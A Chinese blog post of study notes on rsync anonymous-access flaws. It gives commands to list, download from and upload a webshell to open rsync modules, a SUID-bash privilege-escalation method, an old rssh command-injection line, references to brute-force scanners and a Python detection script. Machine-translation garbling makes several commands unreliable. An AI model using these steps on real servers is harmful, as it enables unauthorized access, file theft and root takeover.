Rsync匿名访问漏洞

前言:最近新学习了的rsync的的漏洞,特整理本篇文章作为笔记,方便以后学习。

关于rsync的的的

rsync的(远程同步) – Linux的下实现远程同步功能的软件,能同步更新两处计算机的文件及目录在同步文件时,可以保持源文件的权限,时间,软硬链接等附加信息用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱,安全技能欠缺往往是导致的rsync的出现相关漏洞的根源。

rsync的默认配置文件为/etc/rsyncd.conf,常驻模式启动命令的rsync -daemon,启动成功后默认监听于TCP端口873,可通过rsync的守护及SSH两种方式进行认证。

什么是Rsync的的的的匿名访问

匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令,公私钥,生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问。

常用操作

列举整个同步目录或指定目录:

1
2
rsync 10.0.0.12 ::
rsync 10.0.0.12 :: www /

下载文件或目录到本地:

1
2
rsync的 AVZ 10.0.0.12 :: WWW / 测试PHP /
rsync avz 10.0.0.12 :: www / / var / tmp

上传本地文件到服务端:

1
rsync的 AVZ webshel升PHP 10.0.0.12 :: WWW /

端口修改

在其配置文件中不存在监听端口修改相关选项,但可在启动命令行通过参数-port进行指定

因此通过进程查看方式,可以直接获得其真实监听端口。

通过端口扫描也可自动判断出其服务名及版本信息。

客户端在连接时,也需指定相应端口号,否则会出现端口拒绝连接错误提示。

 

认证方式

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

其用户认证文件内容为明文保存,但该文件权限必须设置为600,普通用户并无读取权限。

若认证文件权限设置错误,客户端用户即使口令输入正确,也会出现认证失败的提示信息。

此外由于rsync的还支持SSH协议,因此可通过系统用户进行认证,即在rsync的上通过SSH隧道进行传输,类似于SCP工具,此时同步操作不再局限于rsync的中定义的同步文件夹。

若服务端SSH为非标准端口,可通过的rsync的-e参数进行端口指定。

本地提权

由于rsync的进程默认以根权限启动,在rsync的为匿名访问或存在弱口令前提下,还可利用其在同步文件过程中保持源文件权限的特性,进行本地权限提升。

在本地将bash shell添加suid权限位,并通过rsync上传到服务端。

在有普通用户壳权限前提下(通过rsync的上传的webshel​​l或其他弱口令等漏洞),切换到同步目录,查看上传的壳文件权限不变,运行后即可提升为根权限。

自动化脚本

Metasploit工具中关于允许匿名访问的rsync的扫描模块:辅助/扫描仪/ rsync的/ modules_list

NMAP中针对的rsync同步目录列举的脚本rsync的列表模块:HTTPS://svn.nmap.org/nmap/scripts/rsync-list-modules.nse,似乎用处并不大。

另一个针对rsync的口令暴力破解的脚本rsync的,残忍的:HTTPS://svn.nmap.org/nmap/scripts/rsync-brute.nse。

91ri.org:我们附一个rsync的(RSSH)远程溢出的东西,虽然有点老,但是在内网环境中也是有遇到的几率,万一就中了呢..

rssh 2.3.3-3在使用rsync时没有正确过滤-e选项,可导致远程攻击者利用此漏洞执行任意命令。

攻击语句:

1
rsync的 ê / 脚本SH   本地主机/ tmp目录服务器 /

漏洞验证


  • Metaspolit的辅助/扫描仪/ rsync的/ modules_list
  • 蟒蛇脚本
# -*- coding:utf-8 -*-
"""
    Rsync匿名访问漏洞(未授权访问漏洞)验证工具
"""

#引入依赖的包和库文件
import os
import sys
import socket
import logging

#全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)


#全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)


#全局函数:
def str2Binary(content):
    """将文本流转换成二进制流"""
    return content.replace(' ','').replace('\n','').decode('hex')

def rsyncCheck(ip,port):
    """执行端口预检查"""
    global client
    try:
        client.connect((ip,port))
    except Exception,reason:
        logging.error("[-] 访问失败:%s"%reason)
        return False
    helloString = "405253594e43443a2033312e300a"
    try:
        client.send(str2Binary(helloString))
        hellodata = client.recv(1024)
    except Exception,reason:
        logging.error("[-] 通信失败:%s"%reason)
        return False
    if hellodata.find("@RSYNCD") >= 0:
        try:
            client.send(str2Binary("0a"))
        except Exception,reason:
            logging.error("[-] 访问失败:%s"%reason)
            return False
        while True:
            try:
                data = client.recv(1024)
            except Exception,reason:
                logging.error("[-] 通信失败:%s"%reason)
            if data == "":
                break
            else:
                if str(data).find("@RSYNCD: EXIT") >= 0:
                    logging.info("[*] 发现漏洞!")
                    return True
    return False


if __name__ == "__main__":
    ip = sys.argv[1]
    try:
        port = sys.argv[2]
    except Exception,reason:
        port = 873
        logging.error("[-] 端口未输入,按照873默认端口进行")
    try:
        port = int(port)
    except Exception,reason:
        logging.error("[-] 端口输入错误,按照873默认端口进行")
        port = 873
    if not rsyncCheck(ip,port):
        logging.info("[+] 测试安全!")

 

 

本博主佛系人生,自娱自乐,不喜勿喷。

Leave a Reply

Your email address will not be published. Required fields are marked *